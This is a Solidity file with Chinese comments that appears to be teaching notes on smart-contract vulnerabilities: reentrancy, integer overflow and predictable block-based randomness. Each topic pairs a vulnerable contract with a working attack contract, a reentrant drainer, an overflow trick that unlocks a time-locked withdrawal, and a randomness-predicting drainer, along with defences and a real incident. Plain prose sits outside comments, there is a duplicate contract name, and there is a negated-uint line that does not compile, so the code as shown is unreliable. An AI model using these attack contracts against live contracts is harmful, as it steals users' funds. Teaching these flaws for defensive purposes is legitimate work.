// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.3/contracts/math/SafeMath.sol";
/*
智能合约安全
在智能合约中安全问题是一个头等大事，因为智能合约不像其他语言一样可以边制作边修改，而智能合约一旦部署将无法修改
重入攻击 如果合约中有重入攻击的漏洞，对方就可以利用该漏洞对合约进行攻击 版本0.8以下可复现
重入攻击原理：攻击合约调用对方提现，对方提现回调本合约的回退函数，回退函数里又调用了对方提现，形成了递归调用，直到把对方账户取光，或取到指定金额，自己加判断
解决方案1：在提现方法，先减掉金额再调用转账，这样攻击合约下次调用的时候，余额不足不满足条件
解决方案2：使用重入锁方案，定义重入锁，noReentrant原理：提现方法执行完毕会修改锁的状态改为false，当攻击合约下次重入调用的时候，因为上次方法还没有执行完毕，锁状态还是true，所以无法再调用提现具体逻辑，这时候重入锁阻拦住了重入攻击，如果不确定合约逻辑是否有重入漏洞，不妨加入一个重入锁，防止函数被重入攻击，在实际生产环境最好加上重入锁
*/
contract EtherStore {
mapping(address => uint) public balances;
// 定义重入锁变量
bool internal locked;
// 定义重入锁修改器
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint _amount) public noReentrant {
require(balances[msg.sender] >= _amount);
(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send Ether");
balances[msg.sender] -= _amount;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
// 攻击合约
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// 回退函数
fallback() external payable {
// 为了避免死循环，加判断
if (address(etherStore).balance >= 1 ether) {
// 提现
etherStore.withdraw(1 ether);
}
}
function attack() external payable {
require(msg.value >= 1 ether);
// 存款
etherStore.deposit{value: 1 ether}();
// 提现
etherStore.withdraw(1 ether);
}
function getBalacne() public view returns (uint) {
return address(this).balance;
}
// 接收攻击获得的Eth
//receive() external payable {}
}
/*
整数溢出漏洞
uint = uint256 取值范围：0 - 2**256-1
数字上溢：如果数字超过2**256，比如uint256最高位 +3 , 会重新会到0来一次循环，最终结果是2，数字变的非常小。
数字下溢：如果数字低于0，比如最低位 -2，则会反向从uint256最高位处开始循环，变成2**256-2，变成了巨大的数字
示例，定义时间锁合约
*/
contract TimeLock {
// 使用openzepplin的安全库 uint myUint; myUint.add(123);
using SafeMath for uint;
// 账本
mapping(address => uint) public balances;
// 提现锁定期，到期可提现
mapping(address => uint) public lockTime;
function deposit() external payable {
// 记录存款，同时记录锁定时间 当前时间1个星期之后才可以解锁，不到期不能执行提现方法
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
// 增加锁定时间 这个加法有可能产生数学溢出
function increaseLockTime(uint _secondsToIncrease) public {
//lockTime[msg.sender] += _secondsToIncrease;
// 使用安全库，防止数学溢出 加完会验证结果是否比原来更大
lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
}
function withdraw() public {
// 判断用户余额
require(balances[msg.sender] >0, "Insufficient funds");
// 当前时间要大于用户锁定的时间，比如用户锁定期为1周，当前是第二周，现在就可以执行该方法
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
// 用于验收数字溢出漏洞，该合约无其他意义
contract TimeLockAccack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
// 向TimeLock存款，同时该方法会记录存款到期时间，默认一周
timeLock.deposit{value: msg.value}();
// 调用增加存款到期时间的方法 虽然withdraw()方法有锁定期，但让锁定时间数学溢出，也可以马上执行withdraw()
// 计算巨大的数字，让它产生数学溢出 首先获取当前用户的锁定时间
// 计算公式 t = 当前锁定时间，要找到x是多少，要满足的条件是: x + t = 2**256 = 0
// x = -t 调用这个方法，实际会把取款时间改为0
timeLock.increaseLockTime(
uint(-timeLock.lockTime(address(this)))
);
// 提现
timeLock.withdraw();
}
}
使用OpenZeppelin安全库，防止了数字溢出漏洞攻击，报出了SafeMath错误：
不安全写法：lockTime[msg.sender] += _secondsToIncrease;
安全写法： lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
整数溢出真实案例：
2018年4月22日，黑客利用以太坊ERC-20智能合约中数据溢出的漏洞攻击蔡文胜旗下美图合作的公司美链 BEC 的智能合约，成功地向两个地址转入了巨量BEC代币，导致市场上海量BEC被抛售。
BEC合约代码：计算批量转账总金额没有使用SafeMath，转账金融输入2的255次方值，会发生整数上溢出漏洞，导致amount变成了0，代码向下执行，直接把币全都转走了。写代码的人减法运算和加法运算分别使用了SafeMath的sub和add，唯独乘法运算没用。
随机数攻击，就是针对智能合约的随机数生成算法进行攻击，预测生成结果。目前区块链上很多合约都是采用的链上信息，如区块时间戳、未来区块哈希等作为游戏合约的随机数源，使用这种随机数被称为伪随机数，它不是真的随机数，存在被预测的可能。一旦生成算法被攻击者猜到，或通过逆向方式拿到，攻击者就可以实现预测，达到攻击目的
解决方案：使用安全的随机数源，第三方api或预言机获取随机数
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
/*
随机数攻击示例，玩家抽奖，抽中获取奖励，代码主要演示随机数漏洞部分，攻击者合约利用对方随机数生成部分，也用相同的方式生成随机数实现预测中奖
生产真实案例，如EOS伪随机数漏洞
*/
contract Random {
// 生产随机数确定是否中奖，如果中奖则转账给中奖者
function guess() public payable {
// 获取随机数，确定是否中奖
bool result = _getRandom();
if(result){
// 中奖，获得1个eth奖励
bool ok = payable(msg.sender).send(1 ether);
if(!ok){
}
}
}
// 获取随机数函数，并确定是否中奖
function _getRandom() private view returns(bool){
uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp)));
if(random%2==0){
return false;
}
return true;
}
// 查看奖池余额
function getBalance() external view returns(uint256){
return address(this).balance;
}
// 设置部署时转入ETH
constructor() payable{}
// 允许接收ETH
receive() external payable{}
}
// 攻击者合约
contract Attack {
event Log(string);
function attack(address _random) external payable {
for(;;){
// 1. 判断攻击目标合约的余额，如果小于1个ether，表示取光，就返回
if(payable(_random).balance < 1){
emit Log("succes getting eth");
return;
}
// 2. 计算由当前区块的难度值和时间戳产生的哈希值，用作随机数
// 如果随机数是偶数，表示本区块不会中奖，先返回，等待下一个区块
if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) %2 ==0){
emit Log("failed to get rand,wait 10 seconds");
return;
}
emit Log("start accack!!!");
// 3. 如果随机数是奇数，表示已经中奖，那么立刻调用攻击目标的guess函数，获取奖励
(bool ok,) = _random.call(abi.encodeWithSignature("guess()"));
if(!ok){
emit Log("failed to call guess()");
return;
}
}
}
// 查看余额
function getBalance() external view returns(uint256){
return address(this).balance;
}
// 接收攻击获得的Eth
receive() external payable {}
}
